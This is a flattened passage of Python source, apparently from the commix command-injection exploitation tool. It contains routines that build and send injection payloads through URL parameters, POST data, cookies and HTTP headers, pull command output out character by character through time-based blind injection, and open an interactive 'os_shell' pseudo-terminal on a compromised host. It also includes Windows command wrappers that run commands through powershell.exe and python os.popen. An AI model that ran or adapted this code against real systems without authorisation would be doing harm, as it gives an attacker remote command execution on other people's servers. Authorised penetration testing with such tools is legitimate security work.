settings.FILE_ACCESS_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again= "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: file_access(url, cve, check_header, filename) if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) print("\n") + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL raise SystemExit() else: # Pseudo-Terminal shell print("") go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell= "" if len(gotshell) == 0: gotshell= "Y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) if go_back: break else: shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL == 1: sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") elif settings.VERBOSITY_LEVEL >= 2: sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except TypeError: break elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) continue break else: continue if no_result: if settings.VERBOSITY_LEVEL != 2: print("") err_msg = "All tested HTTP headers appear to be not injectable." print(settings.print_critical_msg(err_msg)) raise SystemExit() except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print("\n") + settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit() except _urllib.error.URLError as err_msg: err_msg = str(err_msg.reason).split(" ")[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print("") print(settings.print_critical_msg(err_msg)) raise SystemExit() except _http_client.IncompleteRead as err_msg: print(settings.print_critical_msg(err_msg + ".")) raise SystemExit()
def crawler(url): if not menu.options.sitemap_url: if menu.options.crawldepth > 2: err_msg = "Depth level '" + str( menu.options.crawldepth) + "' is not a valid." print(settings.print_error_msg(err_msg)) raise SystemExit() info_msg = "Starting crawler and searching for " info_msg += "links with depth " + str(menu.options.crawldepth) + "." print(settings.print_info_msg(info_msg)) else: while True: if not menu.options.batch: question_msg = "Do you want to change the crawling depth level? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) else: message = "" if len(message) == 0: message = "Y" if message in settings.CHOICE_YES or message in settings.CHOICE_NO: break elif message in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass # Change the crawling depth level. if message in settings.CHOICE_YES: while True: question_msg = "Please enter the crawling depth level (1-2) > " message = _input(settings.print_question_msg(question_msg)) if len(message) == 0: message = 1 break elif str(message) != "1" and str(message) != "2": err_msg = "Depth level '" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: menu.options.crawldepth = message break while True: if not menu.options.sitemap_url: if not menu.options.batch: question_msg = "Do you want to check target for " question_msg += "the existence of site's sitemap(.xml)? [y/N] > " message = _input(settings.print_question_msg(question_msg)) else: message = "" if len(message) == 0: message = "n" if message in settings.CHOICE_YES: sitemap_check = True break elif message in settings.CHOICE_NO: sitemap_check = False break elif message in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: sitemap_check = True break if sitemap_check: output_href = sitemap(url) if output_href is None: sitemap_check = False info_msg = "Checking " if sitemap_check: info_msg += "identified 'sitemap.xml' " info_msg += "for usable links (with GET parameters). " sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if not sitemap_check: output_href = do_process(url) if menu.options.crawldepth > 1: for url in output_href: output_href = do_process(url) if SKIPPED_URLS == 0: print(settings.SINGLE_WHITESPACE) if not settings.VERBOSITY_LEVEL >= 2: print("") info_msg = "Visited " + str( len(output_href)) + " link" + "s"[len(output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) filename = store_crawling() valid_url_found = False try: url_num = 0 valid_urls = [] for check_url in output_href: if re.search(r"(.*?)\?(.+)", check_url): valid_url_found = True url_num += 1 print( settings.print_info_msg("URL #" + str(url_num) + " - " + check_url) + "") if filename is not None: with open(filename, "a") as crawling_results: crawling_results.write(check_url + "\n") if not menu.options.batch: question_msg = "Do you want to use URL #" + str( url_num) + " to perform tests? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) else: message = "" if len(message) == 0: message = "Y" if message in settings.CHOICE_YES: return check_url elif message in settings.CHOICE_NO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping '" + check_url + "'.\n" sys.stdout.write(settings.print_debug_msg(debug_msg)) pass elif message in settings.CHOICE_QUIT: raise SystemExit() raise SystemExit() except TypeError: pass if not valid_url_found: print(settings.SINGLE_WHITESPACE) raise SystemExit() # eof
def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): # Execute shell commands on vulnerable host. if alter_shell: payload = eb_payloads.cmd_execution_alter_shell( separator, TAG, cmd) else: payload = eb_payloads.cmd_execution(separator, TAG, cmd) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Fixation for specific payload. if ")%3B" + _urllib.parse.quote(")}") in payload: payload = payload.replace(")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}")) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: debug_msg = "Executing the '" + cmd + "' command. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: response = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: response = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: response = referer_injection_test(url, vuln_parameter, payload) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: response = host_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: response = custom_header_injection_test(url, vuln_parameter, payload) else: # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) target = url.replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) # Get the response of the request response = requests.get_request_response(request) else: # Check if defined method is POST. parameter = menu.options.data parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) parameter = ''.join(str(e) for e in parameter).replace("+", "%2B") # Define the POST data if settings.IS_JSON: data = parameter.replace( settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) request = _urllib.request.Request( url, data.encode(settings.UNICODE_ENCODING)) # Check if defined extra headers. headers.do_check(request) # Get the response of the request response = requests.get_request_response(request) return response
def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response): if settings.TARGET_OS == "win": previous_cmd = cmd if alter_shell: cmd = settings.WIN_PYTHON_DIR + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" found_chars = False debug_msg = "Checking the reliability of the used payload " debug_msg += "in case of a false positive result. " if settings.VERBOSITY_LEVEL >= 1: sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() # Varying the sleep time. timesec = timesec + random.randint(1, 5) # Checking the output length of the used payload. for output_length in range(1, 3): # Execute shell commands on vulnerable host. if alter_shell: payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) else: payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL >= 1: debug_msg = "Generating payload for testing the reliability of used payload." print("\n" + settings.print_debug_msg(debug_msg)) payload_msg = payload.replace("\n", "\\n") sys.stdout.write(settings.print_payload(payload_msg) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: how_long = host_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): found_chars = True break if found_chars == True : if settings.TARGET_OS == "win": cmd = previous_cmd num_of_chars = output_length + 1 check_start = 0 check_end = 0 check_start = time.time() output = [] percent = 0 sys.stdout.flush() is_valid = False for num_of_chars in range(1, int(num_of_chars)): for ascii_char in range(1, 20): if alter_shell: # Get the execution output, of shell execution. payload = tb_payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) else: # Get the execution output, of shell execution. payload = tb_payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for testing the reliability of used payload." print(settings.print_debug_msg(debug_msg)) payload_msg = payload.replace("\n", "\\n") sys.stdout.write(settings.print_payload(payload_msg) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: how_long = host_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): output.append(ascii_char) is_valid = True break if is_valid: break check_end = time.time() check_how_long = int(check_end - check_start) output = "".join(str(p) for p in output) if str(output) == str(randvcalc): if settings.VERBOSITY_LEVEL == 1: print("") return how_long, output
def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": previous_cmd = cmd if alter_shell: cmd = settings.WIN_PYTHON_DIR + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" if menu.options.file_write or menu.options.file_upload: minlen = 0 else: minlen = 1 found_chars = False info_msg = "Retrieving the length of execution output. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL > 1: print("") for output_length in range(int(minlen), int(maxlen)): if alter_shell: # Execute shell commands on vulnerable host. payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) else: # Execute shell commands on vulnerable host. payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) payload_msg = payload.replace("\n", "\\n") sys.stdout.write(settings.print_payload(payload_msg) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: how_long = host_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): injection_check = True if injection_check == True: if output_length > 1: if settings.VERBOSITY_LEVEL >= 1: pass else: sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() if settings.VERBOSITY_LEVEL == 1: print("") if settings.VERBOSITY_LEVEL >= 1: debug_msg = "Retrieved the length of execution output: " + str(output_length) print(settings.print_bold_debug_msg(debug_msg)) else: sub_content = "Retrieved: " + str(output_length) print(settings.print_sub_content(sub_content)) found_chars = True injection_check = False break # Proceed with the next (injection) step! if found_chars == True : if settings.TARGET_OS == "win": cmd = previous_cmd num_of_chars = output_length + 1 check_start = 0 check_end = 0 check_start = time.time() output = [] percent = "0.0%" info_msg = "Presuming the execution output." if menu.options.verbose < 1 : info_msg += ".. (" + str(percent) + ")" elif menu.options.verbose == 1 : info_msg += "" else: info_msg += "\n" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() for num_of_chars in range(1, int(num_of_chars)): char_pool = checks.generate_char_pool(num_of_chars) for ascii_char in char_pool: if alter_shell: # Get the execution output, of shell execution. payload = tb_payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) else: # Get the execution output, of shell execution. payload = tb_payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) payload_msg = payload.replace("\n", "\\n") sys.stdout.write(settings.print_payload(payload_msg) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: how_long = host_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): injection_check = True if injection_check == True: if settings.VERBOSITY_LEVEL == 0: output.append(chr(ascii_char)) percent = ((num_of_chars*100)/output_length) float_percent = str("{0:.1f}".format(round(((num_of_chars * 100)/(output_length * 1.0)),2))) + "%" if percent == 100: float_percent = settings.SUCCESS_MSG else: float_percent = ".. (" + str(float_percent) + ")" info_msg = "Presuming the execution output." info_msg += float_percent sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: output.append(chr(ascii_char)) injection_check = False break check_end = time.time() check_how_long = int(check_end - check_start) output = "".join(str(p) for p in output) # Check for empty output. if output == (len(output) * " "): output = "" else: check_start = 0 if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() else: pass #print("") check_how_long = 0 output = False if settings.VERBOSITY_LEVEL >= 1 and menu.options.ignore_session: print("") return check_how_long, output
def injection_output(url, OUTPUT_TEXTFILE, timesec): def custom_web_root(url, OUTPUT_TEXTFILE): path = _urllib.parse.urlparse(url).path if path.endswith('/'): # Contract again the url. scheme = _urllib.parse.urlparse(url).scheme netloc = _urllib.parse.urlparse(url).netloc output = scheme + "://" + netloc + path + OUTPUT_TEXTFILE else: try: path_parts = [ non_empty for non_empty in path.split('/') if non_empty ] count = 0 for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] output = url.replace(last_param, OUTPUT_TEXTFILE) if "?" and ".txt" in output: try: output = output.split("?")[0] except: pass except IndexError: output = url + "/" + OUTPUT_TEXTFILE settings.DEFINED_WEBROOT = output return output if not settings.DEFINED_WEBROOT: if menu.options.web_root: _ = "/" if not menu.options.web_root.endswith(_): menu.options.web_root = menu.options.web_root + _ scheme = _urllib.parse.urlparse(url).scheme netloc = _urllib.parse.urlparse(url).netloc output = scheme + "://" + netloc + _ + OUTPUT_TEXTFILE for item in settings.LINUX_DEFAULT_DOC_ROOTS: if item == menu.options.web_root: settings.DEFINED_WEBROOT = output break if not settings.DEFINED_WEBROOT: while True: if not menu.options.batch: question_msg = "Do you want to use URL '" + output question_msg += "' for command execution results extraction? [Y/n] > " procced_option = _input( settings.print_question_msg(question_msg)) else: procced_option = "" if procced_option in settings.CHOICE_YES or len( procced_option) == 0: settings.DEFINED_WEBROOT = output break elif procced_option in settings.CHOICE_NO: output = custom_web_root(url, OUTPUT_TEXTFILE) if not settings.DEFINED_WEBROOT: pass else: break elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: output = custom_web_root(url, OUTPUT_TEXTFILE) else: output = settings.DEFINED_WEBROOT if settings.VERBOSITY_LEVEL != 0: debug_msg = "Checking URL '" + settings.DEFINED_WEBROOT + "' for command execution results extraction." print(settings.print_debug_msg(debug_msg)) return output
def eb_injection_handler(url, timesec, filename, http_request_method): shell = False counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" for item in range(0, len(settings.EXECUTION_FUNCTIONS)): settings.EXECUTION_FUNCTIONS[ item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + ". " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print("") i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len( settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.EVAL_PREFIXES: for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: if whitespace == " ": whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.EVAL_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = eb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = eb_payloads.decision( separator, TAG, randv1, randv2) suffix = _urllib.parse.quote(suffix) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Fixation for specific payload. if ")%3B" + _urllib.parse.quote(")}") in payload: payload = payload.replace( ")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}")) #payload = payload + TAG + "" # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) if not settings.TAMPER_SCRIPTS['base64encode'] and \ not settings.TAMPER_SCRIPTS['hexencode']: payload = payload.replace(" ", "%20") # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print(settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = eb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = eb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = eb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = eb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = eb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. shell = eb_injector.injection_test_results( response, TAG, randvcalc) time.sleep(timesec) if settings.VERBOSITY_LEVEL == 0: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + " (" + str( float_percent) + "%)" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if str(float_percent) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = ".. (" + str( float_percent) + "%)" elif len(shell) != 0: percent = settings.info_msg else: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print("") else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: 